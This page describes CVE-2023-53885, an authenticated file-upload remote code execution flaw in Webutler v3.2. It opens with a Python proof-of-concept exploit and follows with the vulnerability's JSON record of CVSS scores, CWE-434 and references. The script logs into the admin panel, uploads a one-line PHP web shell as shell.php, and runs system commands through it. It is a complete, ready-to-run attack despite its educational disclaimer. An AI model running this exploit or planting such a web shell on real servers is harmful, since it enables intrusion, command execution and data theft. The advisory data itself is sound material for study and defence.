CVE-2023-53885

#!/usr/bin/env python3 """ CVE-2023-53885 PoC - Webutler v3.2 Remote Code Execution Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys # Configuration target_url = "http://target.com/webutler" admin_username = "admin" admin_password = "admin123" upload_endpoint = "/admin/media/upload" exec_endpoint = "/uploads/" # Malicious PHP payload for command execution php_payload = "<?php system($_GET['cmd']); ?>" def login(session, username, password): """Authenticate with Webutler admin panel""" login_url = f"{target_url}/admin/login" data = {"username": username, "password": password} response = session.post(login_url, data=data, timeout=30) return response.status_code == 200 def upload_malicious_file(session): """Upload PHP file via media browser""" upload_url = f"{target_url}{upload_endpoint}" files = {"file": ("shell.php", php_payload, "application/x-php")} response = session.post(upload_url, files=files, timeout=30) if response.status_code == 200: # Parse response to get uploaded file path return response.json().get("file_path", "") return None def execute_command(session, file_path, command): """Execute system command via uploaded PHP file""" exec_url = f"{target_url}{exec_endpoint}{file_path}?cmd={command}" response = session.get(exec_url, timeout=30) return response.text def main(): session = requests.Session() # Step 1: Login as admin print("[*] Attempting admin login...") if not login(session, admin_username, admin_password): print("[-] Login failed!") sys.exit(1) print("[+] Login successful!") # Step 2: Upload malicious PHP file print("[*] Uploading malicious PHP file...") file_path = upload_malicious_file(session) if not file_path: print("[-] File upload failed!") sys.exit(1) print(f"[+] File uploaded: {file_path}") # Step 3: Execute command print("[*] Executing command: whoami") result = execute_command(session, file_path, "whoami") print(f"[+] Result: {result}") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2023-53885", "sourceIdentifier": "[email protected]", "published": "2025-12-15T21:15:51.553", "lastModified": "2025-12-18T21:43:46.480", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Webutler v3.2 contains a remote code execution vulnerability that allows authenticated administrators to upload PHP files with system command execution. Attackers can upload a PHAR file with embedded system commands to the media browser and execute arbitrary commands by accessing the uploaded file."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:webutler:webutler:3.2:*:*:*:*:*:*:*", "matchCriteriaId": "E915D0F4-A4DE-42E2-A636-BF867B835DF6"}]}]}], "references": [{"url": "https://webutler.de/en", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/51660", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/webutler-v-remote-code-execution-via-arbitrary-file-upload", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/51660", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}